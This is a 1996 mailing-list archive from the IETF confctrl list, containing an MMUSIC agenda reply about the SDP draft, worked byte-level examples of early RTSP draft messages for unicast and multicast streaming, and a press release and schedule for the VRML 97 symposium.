Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17750>; Tue, 3 Dec 1996 16:16:49 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17743>; Tue, 3 Dec 1996 16:16:48 -0800
Received: from mercury.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-25)
	id <AA23637>; Tue, 3 Dec 1996 16:16:47 -0800
Received: from localhost (localhost [127.0.0.1]) by mercury.lcs.mit.edu (8.6.12/8.6.12) with SMTP id TAA03771; Tue, 3 Dec 1996 19:16:45 -0500
X-Authentication-Warning: mercury.lcs.mit.edu: Host localhost didn't use HELO protocol
From: Mark Handley<mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Cc: internet-drafts@ietf.org
Subject: Re: draft MMUSIC agenda 
In-Reply-To: Your message of "Tue, 03 Dec 96 13:07:51 PST."
             <9612032107.AA24246@std.sri.com> 
Date: Tue, 03 Dec 96 19:16:45 -0500
Message-Id: <20650.849658605@mercury.lcs.mit.edu>
X-Mts: smtp
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Agenda for the MMUSIC Working Group
>37th IETF, San Jose, California, USA
>
>Monday, December 9,  13:00-15:00 (multicast)
>--------------------------------------------
>
>Welcome and Session Overview (5 minutes)
>
>SDP - Session Description Protocol (20 min)
>      Mark Handley, USC Information Sciences Institute
>
>	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp.02.txt
>	ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sdp.02.ps

For some reason it appears the copy of draft-ietf-mmusic-sdp.02.ps
in the internet-drafts archives has been truncated.

Please retrieve this from the confctrl archive instead:
ftp://ftp.isi.edu/confctrl/docs/draft-ietf-mmusic-sdp.02.ps

Mark

From majordom@ISI.EDU  Tue Dec  3 16:41:52 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07274>; Wed, 4 Dec 1996 00:41:46 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA07268>; Wed, 4 Dec 1996 00:41:44 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA11630>; Wed, 4 Dec 1996 00:41:43 -0800
Received: from cowzilla.dev.prognet.com by murrow.prognet.com with SMTP id AA05485
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Wed, 4 Dec 1996 00:41:42 -0800
Date: Wed, 4 Dec 1996 00:41:52 -0800 (PST)
From: Rob Lanphier <robla@prognet.com>
X-Sender: robla@cowzilla.dev.prognet.com
To: confctrl@isi.edu
Subject: RTSP Examples (fwd)
Message-Id: <Pine.LNX.3.94.961204003803.6749C-100000@cowzilla.dev.prognet.com>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I worked out a couple of examples of how the current draft of RTSP works
at the byte level.  I hope this helps people understand how the protocol
works, or at least stir up questions that will inevitably come up as
development of RTSP progresses.

To be consistant with the examples already provided by Henning in RTSP
prime, I'm using a similar format and similar examples (though not the
same ones, since I want to highlight what we view as the common scenario,
and I want to highlight some of the more interesting aspects of RTSP),
this time using RTSP instead of RTSP'.

Enjoy,
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio       Web: http://www.realaudio.com

The following is a typical on-demand fetch of video content, using
RTSP-style compressed RTP headers.  Note that some things may be done
asynchronously, and so in some cases, the order is not important.
Furthermore, the following example is designed for clarity rather than
efficiency.

C: RTSP Client
R: RTSP Server
W: Web Server

C->W: GET coolmovie HTTP/1.0
      Accept: application/sdf; application/sdp

W->C: 200 OK
      Content-type: application/sdf

      [A yet-to be described file format which conveys the following
      information:

           A 16kbps English audio clip using algorithm X can be found
           at the following URL:
             rtsp://server.content.com/coolmovie?stream=1
           A 32kbps English audio clip using algorithm X can be found 
	   at the following URL:
             rtsp://server.content.com/coolmovie?stream=2
           An 64kbps video clip using algorithm Y can found at the
	   following URL:
	     rtsp://server.content.com/coolmovie?stream=3
      ]

At this point, the client decides that it has copious bandwidth and
can take the high-bandwidth audio and the video clip.  The client
connects to the server, and the following then occurs:

[Note: I'm using SCP as it is defined in Appendix A of the initial
RTSP draft.  This is not consistant with the SCP specification, but
will be in later drafts.]

C->R: SCP Global Control Channel (0)
        Flags: SYN and PUSH (0x9)
        ID: 0
        Length: 30 (0x1E)
      RTSP Hello Message
        Tag (4 bytes): 1000 HELLO (0x3E8) 
        Major/Minor Version (2 bytes): 1.0 (0x0100)
        Subprotocol (1 byte) (0x1)
        Reserved (1 byte) (0x0)
        User Agent (null terminated): RTSP 1.0 Client/Win95\0

R->C  SCP Global Control Channel (0)
        Flags: PUSH (0x8)
        ID: 0
        Length: 30 (0x1E)
      RTSP Hello Message
        Tag (4 bytes): 1000 HELLO (0x3E8)
        Major/Minor Version (2 bytes): 1.0 (0x0100)
        Subprotocol (1 byte) (0x1)
        Reserved (1 byte) (0x0)
        User Agent (null terminated): RTSP 1.0 Server/Linux\0
        
Now the client opens up a control channel to control the audio stream,
and sets that stream up:

C->R  SCP Stream Control Channel (1024)
        Flags: SYN and PUSH (0x9)	
        ID: 0
        Length: 57 (0x39)
      RTSP Fetch Message
        Tag (4 bytes): 2000 FETCH (0x7D0)
        Bandwidth (bits per sec) (4 bytes): 32768 bps (0x8000)
        Max number of hops (2 bytes): unlimited (0xFFFF)
        Request flags (2 bytes): none set (0x0)
        URL: rtsp://server.content.com/coolmovie?stream=2\0
    
R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 32 (0x20)
      RTSP Stream Header Message:
        Tag (4 bytes): 2001 STREAM_HEADER (0x7D1)
        Generic Type (4 bytes): Audio (0x1)
        Bandwidth (bits per sec) (4 bytes): 32768 bps (0x8000)
        Last Modification Time (4 bytes): Feb 16 1996 13:38:45 (0x312488E5) 
        Reserved (4 bytes): 0x0
        Length (4 bytes): 22 minutes (1320000 ms) (0x142440)
        Max Packet Size (4 bytes): 120 bytes (0x78)
        Flags (4 bytes): (0x4E)
           Unicast available: True
           Live: False
           Copy: False
           Cache: True
           Client-Cache: True
           UDP-okay: True
           Multicast: False

C->R  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 16 (0x10)
      RTSP Set Transport Message:
        Tag (4 bytes): 2002 SET_TRANSPORT (0x7D2)
	Flags (2 bytes): (0x8000)
	   C Flag: Compressed Headers On
        Channel ID (2 bytes): Unicast UDP (0x0)
        SSRC identifier (4 bytes): (0x0)
        Port (4 bytes): 7820 (0x1E8C)

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 48 (0x30)
      RTSP Param Reply Message:
        Tag (4 bytes): 4001 PARAM_REPLY (0xFA1)
	Request ID (4 bytes): Not specifically requested (0x0)
        Family ID (4 bytes): Audio (0x1)
        Parameter ID (4 bytes): Format Descriptor (0x1)
	Data Type (4 bytes): Opaque (0x2)
      Audio Format Descriptor:
        CODEC ID (4 bytes):  Fictional CODEC X (0xffffffff)
        NumChannels (2 bytes):  1 (0x1)
        Bits/Sample (2 bytes): 16 (0x10)
        Samples per second (4 bytes): 44100 hz (0xACFF)
        Average Frame Size (2 bytes): 64 bytes (0x40)
        Maximum Frame Size (2 bytes): 64 bytes (0x40)
        Samples per frame (4 bytes): 689 (0x2B1)
        P (1 bit): Packetized audio (0x1)
        Frames per packet (15 bits): 1 (0x1)
	Extra bytes (2 bytes): none (0x0)
	Number of Frames (4 bytes): 21120 frames (0x5280)

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 92 (0x5C)
      RTSP Param Reply Message:
        Tag (4 bytes): 4001 PARAM_REPLY (0xFA1)
	Request ID (4 bytes): Not specifically requested (0x0)
        Family ID (4 bytes): Audio (0x1)
        Parameter ID (4 bytes): Annotations (0x2)
	Data Type (4 bytes): Opaque (0x2)
      Audio Format Descriptor:
	Number of chunks (4 bytes): 3 (0x3)
        Chunk identifier (4 bytes): Name 'INAM' (0x494E414D)
	Number of bytes (4 bytes): 12 (0xC)
	Chunk data (12 bytes): "Cool Movie\0\0"
        Chunk identifier (4 bytes): Author 'IAUT' (0x49415554)
	Number of bytes (4 bytes): 18 (0x12)
	Chunk data (18 bytes): "Jean Spleenburger\0"
        Chunk identifier (4 bytes): Copyright 'ICOP' (0x49434F50)
	Number of bytes (4 bytes): 34 (0x22)
	Chunk data (34 bytes): "Copyright 1996 Cool Movie Company\0"

It needs to do the same thing for the video stream:

C->R  SCP Stream Control Channel (1026)
        Flags: SYN and PUSH (0x9)	
        ID: 0
        Length: 57 (0x39)
      RTSP Fetch Message
        Tag (4 bytes): 2000 FETCH (0x7D0)
        Bandwidth (bits per sec) (4 bytes): 65536 bps (0x10000)
        Max number of hops (2 bytes): unlimited (0xFFFF)
        Request flags (2 bytes): none set (0x0)
        URL: rtsp://server.content.com/coolmovie?stream=3\0
    
R->C  SCP Stream Control Channel (1026)
        Flags: PUSH (0x8)
        ID: 0
        Length: 32 (0x20)
      RTSP Stream Header Message:
        Tag (4 bytes): 2001 STREAM_HEADER (0x7D1)
        Generic Type (4 bytes): Audio (0x1)
        Bandwidth (bits per sec) (4 bytes): 65536 bps (0x10000)
        Last Modification Time (4 bytes): Feb 16 1996 13:38:45 (0x312488E5) 
        Reserved (4 bytes): 0x0
        Length (4 bytes): 22 minutes (1320000 ms) (0x142440)
        Max Packet Size (4 bytes): 120 bytes (0x78)
        Flags (4 bytes): (0x4E)
           Unicast available: True
           Live: False
           Copy: False
           Cache: True
           Client-Cache: True
           UDP-okay: True
           Multicast: False

C->R  SCP Stream Control Channel (1026)
        Flags: PUSH (0x8)
        ID: 0
        Length: 16 (0x10)
      RTSP Set Transport Message:
        Tag (4 bytes): 2002 SET_TRANSPORT (0x7D2)
	Flags (2 bytes): (0x8000)
	   C Flag: Compressed Headers On
        Channel ID (2 bytes): Unicast UDP (0x0)
        SSRC identifier (4 bytes): (0x0)
        Port (4 bytes): 7820 (0x1E8C)

R->C  SCP Stream Control Channel (1026)
        Flags: PUSH (0x8)
        ID: 0
        Length: 20 (0x14)
      RTSP Param Reply Message:
        Tag (4 bytes): 4001 PARAM_REPLY (0xFA1)
	Request ID (4 bytes): Not specifically requested (0x0)
        Family ID (4 bytes): Video (0x2)
        Parameter ID (4 bytes): Format Descriptor (0x1)
	Data Type (4 bytes): Opaque (0x2)
      Video Format Descriptor:
        (unspecified in current specificiation)


Setup is finished, so the client starts the stream:

C->R  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 12 (0xC)
      RTSP Play Range Message:
        Tag (4 bytes): 2004 PLAY_RANGE (0x7D4)
        From (4 bytes): Beginning (0x0)
        To (4 bytes) : End (0x0)

C->R  SCP Stream Control Channel (1026)
        Flags: PUSH (0x8)
        ID: 0
        Length: 12 (0xC)
      RTSP Play Range Message:
        Tag (4 bytes): 2004 PLAY_RANGE (0x7D4)
        From (4 bytes): Beginning (0x0)
        To (4 bytes) : End (0x0)

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 12 (0xC)
      RTSP Stream Sync Message:
        Tag (4 bytes): 2005 STREAM_SYNC (0x7D5)
        Sequence Number (2 bytes): Random value (0x34A2)
        Reserved (2 bytes): 0x0
        Start Time (4 bytes): Beginning (0x0)

R->C  SCP Stream Control Channel (1026)
        Flags: PUSH (0x8)
        ID: 0
        Length: 12 (0xC)
      RTSP Stream Sync Message:
        Tag (4 bytes): 2005 STREAM_SYNC (0x7D5)
        Sequence Number (2 bytes): Random value (0xC655)
        Reserved (2 bytes): 0x0
        Start Time (4 bytes): Beginning (0x0)

In this example, the timestamps are not included.  The timestamps may
be derived from knowing the samples per second and the start time.

R->C  UDP Packet
        Version (1 bit): Compressed (0x0)
        Marker (1 bit): On (0x1)
        timestamp lower bits compression bit (1 bit): don't include (0x0)
        sequence number inclusion bit (1 bit): include (0x1)
        SSRC: (0x0)
        sequence number (2 bytes): (0x34A2)

R->C  UDP Packet
        Version (1 bit): Compressed (0x0)
        Marker (1 bit): On (0x1)
        timestamp lower bits compression bit (1 bit): don't include (0x0)
        sequence number inclusion bit (1 bit): include (0x1)
        SSRC: (0x1)
        sequence number (2 bytes): (0xC655)

R->C  UDP Packet
        Version (1 bit): Compressed (0x0)
        Marker (1 bit): On (0x1)
        timestamp lower bits compression bit (1 bit): don't include (0x0)
        sequence number inclusion bit (1 bit): include (0x1)
        SSRC: (0x0)
        sequence number (2 bytes): (0x34A3)

R->C  UDP Packet
        Version (1 bit): Compressed (0x0)
        Marker (1 bit): On (0x1)
        timestamp lower bits compression bit (1 bit): don't include (0x0)
        sequence number inclusion bit (1 bit): include (0x1)
        SSRC: (0x1)
        sequence number (2 bytes): (0xC656)
...

=========================================
This second example is of a client joining an already existing
multicast.

C->W: GET coolbroadcast HTTP/1.0
      Accept: application/sdf; application/sdp

W->C: 200 OK
      Content-type: application/sdf

      [A yet-to be described file format which conveys the following
      information:

           A 16kbps English audio clip using algorithm X can be found
           at the following URL:
             rtsp://server.content.com/coolbroadcast?stream=1
      ]

Hmm...this time there is only one stream.  We'll take it.

[Note: I'm using SCP as it is defined in Appendix A of the initial
RTSP draft.  This is not consistant with the SCP specification, but
will be in later drafts.]

C->R: SCP Global Control Channel (0)
        Flags: SYN and PUSH (0x9)
        ID: 0
        Length: 30 (0x1E)
      RTSP Hello Message
        Tag (4 bytes): 1000 HELLO (0x3E8) 
        Major/Minor Version (2 bytes): 1.0 (0x0100)
        Subprotocol (1 byte) (0x1)
        Reserved (1 byte) (0x0)
        User Agent (null terminated): RTSP 1.0 Client/Win95\0

R->C  SCP Global Control Channel (0)
        Flags: PUSH (0x8)
        ID: 0
        Length: 30 (0x1E)
      RTSP Hello Message
        Tag (4 bytes): 1000 HELLO (0x3E8)
        Major/Minor Version (2 bytes): 1.0 (0x0100)
        Subprotocol (1 byte) (0x1)
        Reserved (1 byte) (0x0)
        User Agent (null terminated): RTSP 1.0 Server/Linux\0

This time, the user is forced to undergo server authentication.  (Note
that this authentication is currently undocumented.  This scheme is
only a strawman.):

R->C  SCP Global Control Channel (0)
        Flags: PUSH (0x8)
        ID: 0
        Length: 30 (0x1E)
      RTSP ID Message
        Tag (4 bytes): 1001 ID (0x3E9)
	Key type (2 bytes): Basic (0x0)
	Reserved (2 bytes): (0x0)
        Authentication key (0 bytes): None

C->R  SCP Global Control Channel (0)
        Flags: PUSH (0x8)
        ID: 0
        Length: 30 (0x1E)
      RTSP ID Response Message
        Tag (4 bytes): 1002 ID_RESP (0x3E9)
	Key type (2 bytes): Basic (0x0)
	Reserved (2 bytes): (0x0)
        Response data (16 bytes): foouser\0barpass\0

Now the client opens up a control channel to control the audio stream,
and sets that stream up:

C->R  SCP Stream Control Channel (1024)
        Flags: SYN and PUSH (0x9)	
        ID: 0
        Length: 57 (0x39)
      RTSP Fetch Message
        Tag (4 bytes): 2000 FETCH (0x7D0)
        Bandwidth (bits per sec) (4 bytes): 16384 bps (0x4000)
        Max number of hops (2 bytes): unlimited (0xFFFF)
        Request flags (2 bytes): none set (0x0)
        URL: rtsp://server.content.com/coolbroadcast?stream=1\0

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 32 (0x20)
      RTSP Stream Header Message:
        Tag (4 bytes): 2001 STREAM_HEADER (0x7D1)
        Generic Type (4 bytes): Audio (0x1)
        Bandwidth (bits per sec) (4 bytes): 16384 bps (0x4000)
        Last Modification Time (4 bytes): Feb 16 1996 13:38:45 (0x312488E5) 
        Reserved (4 bytes): 0x0
        Length (4 bytes): 22 minutes (1320000 ms) (0x142440)
        Max Packet Size (4 bytes): 120 bytes (0x78)
        Flags (4 bytes): (0x4E)
           Unicast available: True
           Live: False
           Copy: False
           Cache: True
           Client-Cache: True
           UDP-okay: True
           Multicast: False

Note that now the server sends the "Set Transport" message:

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 20 (0x10)
      RTSP Set Transport Message:
        Tag (4 bytes): 2002 SET_TRANSPORT (0x7D2)
	Flags (2 bytes): (0x8000)
	   C Flag: Compressed Headers On
        Channel ID (2 bytes): Multicast UDP (0x0)
        SSRC identifier (4 bytes): (0x9C9AE15E)
        Port (4 bytes): 6000 (0x1770)
        Address (4 bytes): 230.215.15.35 (0xE6D70F23)

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 48 (0x30)
      RTSP Param Reply Message:
        Tag (4 bytes): 4001 PARAM_REPLY (0xFA1)
	Request ID (4 bytes): Not specifically requested (0x0)
        Family ID (4 bytes): Audio (0x1)
        Parameter ID (4 bytes): Format Descriptor (0x1)
	Data Type (4 bytes): Opaque (0x2)
      Audio Format Descriptor:
        CODEC ID (4 bytes):  Fictional CODEC X (0xffffffff)
        NumChannels (2 bytes):  1 (0x1)
        Bits/Sample (2 bytes): 16 (0x10)
        Samples per second (4 bytes): 22050 hz (0xACFF)
        Average Frame Size (2 bytes): 64 bytes (0x40)
        Maximum Frame Size (2 bytes): 64 bytes (0x40)
        Samples per frame (4 bytes): 1378 (0x562)
        P (1 bit): Packetized audio (0x1)
        Frames per packet (15 bits): 1 (0x1)
	Extra bytes (2 bytes): none (0x0)
	Number of Frames (4 bytes): Indefinite (0x0)

R->C  SCP Stream Control Channel (1024)
        Flags: PUSH (0x8)
        ID: 0
        Length: 92 (0x5C)
      RTSP Param Reply Message:
        Tag (4 bytes): 4001 PARAM_REPLY (0xFA1)
	Request ID (4 bytes): Not specifically requested (0x0)
        Family ID (4 bytes): Audio (0x1)
        Parameter ID (4 bytes): Annotations (0x2)
	Data Type (4 bytes): Opaque (0x2)
      Audio Format Descriptor:
	Number of chunks (4 bytes): 3 (0x3)
        Chunk identifier (4 bytes): Name 'INAM' (0x494E414D)
	Number of bytes (4 bytes): 12 (0xC)
	Chunk data (12 bytes): "Cool Broadcast\0\0"
        Chunk identifier (4 bytes): Author 'IAUT' (0x49415554)
	Number of bytes (4 bytes): 18 (0x12)
	Chunk data (18 bytes): "Guy Frownee\0"
        Chunk identifier (4 bytes): Copyright 'ICOP' (0x49434F50)
	Number of bytes (4 bytes): 34 (0x22)
	Chunk data (34 bytes): "Copyright 1996 Cool Broadcast Company\0"

R))C  UDP Packet
        Version (2 bits): Standard v2 RTP (0x10)
        Padding (1 bit): False (0x0)
        Extension (1 bit): None (0x0)
	CSRC Count (CC) (4 bits): None (0x0)
	Marker (1 bit): True (0x1)
	Payload type (7 bits): Type "X" (0x60)
        Sequence Number (2 bytes): (0x5F68)
	Timestamp (4 bytes): (0x7C224486)
	Data (64 bytes)

R))C  UDP Packet
        Version (2 bits): Standard v2 RTP (0x10)
        Padding (1 bit): False (0x0)
        Extension (1 bit): None (0x0)
	CSRC Count (CC) (4 bits): None (0x0)
	Marker (1 bit): True (0x1)
	Payload type (7 bits): Type "X" (0x60)
        Sequence Number (2 bytes): (0x5F69)
	Timestamp (4 bytes): (0x7C224487)
	Data (64 bytes)

R))C  UDP Packet
        Version (2 bits): Standard v2 RTP (0x10)
        Padding (1 bit): False (0x0)
        Extension (1 bit): None (0x0)
	CSRC Count (CC) (4 bits): None (0x0)
	Marker (1 bit): True (0x1)
	Payload type (7 bits): Type "X" (0x60)
        Sequence Number (2 bytes): (0x5F6A)
	Timestamp (4 bytes): (0x7C224488)
	Data (64 bytes)

R))C  UDP Packet
        Version (2 bits): Standard v2 RTP (0x10)
        Padding (1 bit): False (0x0)
        Extension (1 bit): None (0x0)
	CSRC Count (CC) (4 bits): None (0x0)
	Marker (1 bit): True (0x1)
	Payload type (7 bits): Type "X" (0x60)
        Sequence Number (2 bytes): (0x5F6B)
	Timestamp (4 bytes): (0x7C224489)
	Data (64 bytes)


From majordom@ISI.EDU  Thu Dec  5 05:19:56 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18247>; Thu, 5 Dec 1996 13:22:53 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18240>; Thu, 5 Dec 1996 13:22:51 -0800
Received: from cs.nps.navy.mil by venera.isi.edu (5.65c/5.61+local-25)
	id <AA25763>; Thu, 5 Dec 1996 13:22:49 -0800
Received: from capella.cs.nps.navy.mil by cs.nps.navy.mil (4.1/SMI-4.1)
	id AA16463; Thu, 5 Dec 96 13:19:59 PST
From: brutzman@cs.nps.navy.mil (Don Brutzman)
Received: by capella.cs.nps.navy.mil (4.1) id AA16153; Thu, 5 Dec 96 13:19:56 PST
Message-Id: <9612052119.AA16153@capella.cs.nps.navy.mil>
Subject: ANNOUNCE:  VRML 97 
To: (addressee list suppressed)
Date: Thu, 5 Dec 1996 13:19:56 -0800 (PST)
X-Mailer: ELM [version 2.4 PL25]
Content-Type: text
Content-Length: 14598     
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

         [standard apologies if you receive duplicate copies]


You are cordially invited to attend the second annual Virtual Reality 
Modeling Language (VRML) Symposium.  VRML is where 3D graphics meets
the Web.  Internetworking considerations are thus just as important as
interactive 3D in this context.  A schedule and list of papers/courses/panels 
follows the press release.  Queries welcome.  Thanks!    - Don Brutzman


FOR MORE INFORMATION CONTACT:
Lynn Johnson
Evans & Johnson
408 655 9924
408 372 0846 fax
ljohnson@redshift.com

FOR IMMEDIATE RELEASE

VIRTUAL REALITY MODELING LANGUAGE (VRML) SYMPOSIUM SET FOR FEBRUARY 1997

Monterey, California, November 25, 1996 - The Second Annual Virtual Reality
Modeling Language (VRML) Symposium is scheduled for February 24-26, 1997 at 
the Hyatt Regency in Monterey, California.  VRML 97 is an academic and 
technical symposium sponsored by ACM SIGGRAPH and SIGCOMM, in cooperation 
with the VRML Consortium.

This year's VRML Symposium provides a wide range of technical papers, 
educational opportunities, cutting-edge demonstrations and exhibits 
featuring the latest in VRML technology.  The VRML Symposium home page is 
http://www.sdsc.edu/vrml97

Who and What.  300-500 attendees from across the globe are expected to attend 
this powerful 3-day technical symposium.  Attendees can attend half-day or 
full-day tutorials, which are designed for both intermediate and advanced 
VRML users and developers.  The Symposium also includes working groups,
panels, academic papers and in-depth exhibitor demonstrations.  Topics 
include 3D graphics, content, behaviors, interfaces, modeling, simulation, 
multi-user environments, networking and standards. 

Why.  "VRML 97 is the future of 3D on the World Wide Web," says VRML 97 chair 
Don Brutzman. "All of the most exciting work in internetworked 3D graphics
will be shown, discussed and argued over by key players in this 
fast-moving community.  Don't miss it!" 

Courses.  The first day (Monday, Feb 24) will feature both full-day and 
half-day  tutorial courses.  The first full-day course is "Introduction to 
VRML 2.0" presented by Dave Nadeau of the San Diego Supercomputer Center.  
This course, designed for beginning graphics users,  will teach attendees how 
to use VRML to author their own 3D virtual worlds on the World Wide Web.  
"Authoring Compelling, Efficient VRML 2.0 Worlds" presented by Dave Story, 
Delle Maxwell and David Marsland, all of Silicon Graphics, is another full day 
tutorial course.  This course provides authors with a concrete toolset for 
overcoming the limitations and exploring the unique capabilities of VRML 2.0.  
Attendees will learn new approaches to solve their creative challenges. 

More Courses.  Half-day tutorials include "The VRML 2.0 Compressed Binary 
Format" presented by Gabriel Taubin, Bill Horn and Francis Lazarus, all with 
IBM.  This course will familiarize attendees with the fundamentals of the 
compression technologies proposed for the VRML 2.0 standard.  Another half-day
tutorial is "Sound Bytes VRML Authoring for Noisy Worlds" presented by 
Geoff Brown of Silicon Graphics Inc.  This course features demonstrations 
that show effective use of sound in large and small worlds and are presented 
using both PC and SGI platforms.  This tutorial is suitable for beginners and
intermediate developers.  "Networking Services for Shared Virtual Worlds" 
presented by Eric Hoffman is offered as a beginning networking tutorial.
This course will be extremely helpful for those who are considering the 
design of distributed virtual worlds, but are unfamiliar with recent work
in transport protocols. 

Exhibitors.  More than 30 companies will demonstrate the latest tools, 
technology and software at the exhibitor's showcase on Tuesday and Wednesday 
(Feb 25-26).  The exhibitor's showcase serves as a primary resource to learn 
about the latest VRML products.  Not an exhaustive trade show, this group 
includes only the best and brightest VRML developers giving one-on-one demos 
of new and forthcoming work to the most influential people working in VRML.  
An exhibitors' planning guide including detailed descriptions of products and
services will be distributed to all attendees. 

Technical Program.  Tuesday and Wednesday's program includes paper 
presentations and panels.  A solid and highly select set of academic papers 
show research work and results that may affect the future of the VRML standard.
Industry experts will explain and debate controversial topics from a variety 
of viewpoints.  A complete listing of sessions and panels is available at 
http://www.sdsc.edu/vrml97/schedule.html

Event:  Demo SIG.  All Symposium attendees are invited to the no-holds-barred 
Demo SIG hosted by the Virtual Reality Education Foundation (VeRGe).  This 
exciting two-hour presentation, scheduled 5pm Monday (Feb 24), is an intense 
series of live 5-minute internetworked 3D demonstrations.  This event was one 
of the highlights of SIGGRAPH in New Orleans August 1996.  The Demo SIG is 
followed by a dinner and reception hosted by Microsoft Corporation.

Event:  Aquarium Dinner.  Tuesday evening's activities include dinner in front
of the Monterey Bay Aquarium's new 1.2 million gallon Outer Bay exhibit.  
Attendees will enjoy a strolling dinner in front of the largest viewing window 
in the world.  This spectacular and intense exhibit is 35 feet deep, 90 feet 
long, holds over 1 million gallons of water and houses animals rarely viewed,
such as the giant tunas, ocean sunfish, a green sea turtle and soupfin sharks. 
Attendees also will have private access to the world's largest exhibit of 
jellyfish, including transparent crystal jellies and bioluminescent
comb jellies.  This exciting evening is hosted by Silicon Graphics Inc.

VRML Consortium.  The long-term future of VRML has always been a key question.  
AT VRML 97, the newly elected VRML Consortium Board of Directors will report 
on efforts to make VRML an integral part of the Internet infrastructure.  The 
VRML Consortium is a non-profit group made up of corporate and academic 
organizations, all working together to promote VRML standards, outreach and 
education. 

VRML 97 Committee.  Chair Don Brutzman, papers chairs Rikk 
Carey and Paul Strauss, Mitra, Adrian Scott, Glenn Crocker, Stephen Spencer, 
Bill Cockayne, Erkan Akyuz, Dan Ancona, Clark Dodsworth, D.J. LeGoff,
Kent Watsen, Robert Saint John, Lisa Goldman, Mark Meadows, Mark Pesce, 
David Nadeau, Timothy Childs, Gray Schlichting, Gavin Bell, Jean-Francis 
Balaguer, Jan Hardenbergh, David Kerlick, Stephen Matsuba, Tamara Munzner, 
Tom Meyer, Tony Parisi, Erika Whiteway, Dick Puk and Val Watson.  Individual 
committee positions & e-mail addresses of these expert volunteers are 
available at http://www.sdsc.edu/vrml97/committee.html

Lodging and Registration.  The Hyatt Regency Monterey is headquarters hotel 
for VRML 97.  For registration info, please refer to the VRML 97 home page 
http://www.sdsc.edu/vrml97/register.html
or contact Lynn Johnson at 408-655-9924 or ljohnson@redshift.com 
Early-bird registration discounts are available through December 15 1996,
prices jump sharply thereafter.

END RELEASE



  VRML 97
  
  FEBRUARY 24-26, 1997
  HYATT REGENCY HOTEL
  MONTEREY CALIFORNIA USA
  
    http://www.sdsc.edu/vrml97/schedule.html
    
  SCHEDULE
  
  SUNDAY, FEBRUARY 23, 1997
     * Working group meetings by request (Hyatt or NPS)
     * 12:00 PM Exhibitor setup open (prior request only, until 5)
     * 13:00 PM VRML Consortium Board of Directors (private)
     * 5:00 PM Registration open (refreshments available)
     * 6:00 PM Sponsors reception (private)
     * 9:00 PM Registration closed
       
  MONDAY, FEBRUARY 24, 1997
     * 7:00 AM Registration opens
     * 7:30 AM Continental breakfast (if sponsored)
     * 8:00 AM Exhibitor & AV setup open
     * 8:30 AM Full-Day Courses
          + Introduction to VRML 2.0, Dave Nadeau, San Diego
            Supercomputer Center
          + Authoring Compelling, Efficient VRML 2.0 Worlds, Dave Story,
            Delle Maxwell and David Marsland, Silicon Graphics Inc.
     * 8:30 AM Half-Day Courses 
          + The VRML 2.0 Compressed Binary Format, Gabriel Taubin, Bill
            Horn and Francis Lazarus, IBM
     * 8:30 AM Working groups (TBD - to be determined)
     * 10:00 AM Break
     * 10:30 AM Courses & working groups resume
     * 12:00 PM Lunch (box lunch or buffet TBD)
     * 1:00 PM Half-Day Courses
          + Networking Services for Shared Virtual Worlds, Eric Hoffman,
            National Laboratory for Applied Network Research / Ipsilon
          + Sound Bytes VRML Authoring for Noisy Worlds, Geoff Brown,
            Silicon Graphics Inc.
     * 1:00 PM Working groups (TBD)
     * 2:30 PM Break
     * 3:00 PM Courses & working groups resume
     * 4:00 PM Demo SIG and AV rehearsal (ballroom)
     * 4:30 PM Break
     * 5:00 PM Demo SIG (ballroom)
     * 7:00 PM Dinner & Reception at the Hyatt (sponsored)
       
  TUESDAY, FEBRUARY 25, 1997
     * 7:00 AM Registration opens
     * 7:15 AM Continental breakfast (if sponsored)
     * 8:15 AM Welcome
     * 8:30 AM Papers: Implementation I, Val Watson moderator
          + Using spatial techniques to decrease message passing in a
            distributed VE system, Olof Hagsand, Rodger Lea and Marten
            Stenius, Swedish Institute of Computer Science (SICS) and
            Sony Computer Science Lab
          + An Object Oriented Approach to VRML Development, Curtis A.
            Beeson, Silicon Graphics Inc.
          + Object-Oriented VRML for Multi-user Environments, Sungwoo
            Park
     * 10:00 AM Break
     * 10:00 AM Exhibits open
     * 10:30 AM Papers: Multi-user, Dave Nadeau moderator
          + Populating the Internet: Supporting Multiple Users and Shared
            Applications with VRML, Wolfgang Broll, German National
            Institute for Information Technology
          + Community Place: architecture and performance, Rodger Lea,
            Yasuaki Honda, Kouichi Matsuda and Satoru Matsuda, Sony
            Computer Science Lab
          + SpaceFusion: A multi-server architecture for shared virtual
            environments, Hiroyasu Sugano, Fujitsu
     * 12:00 PM Consortium Report: Elected VRML Consortium Inc. Board of
       Directors
     * 12:30 PM Lunch
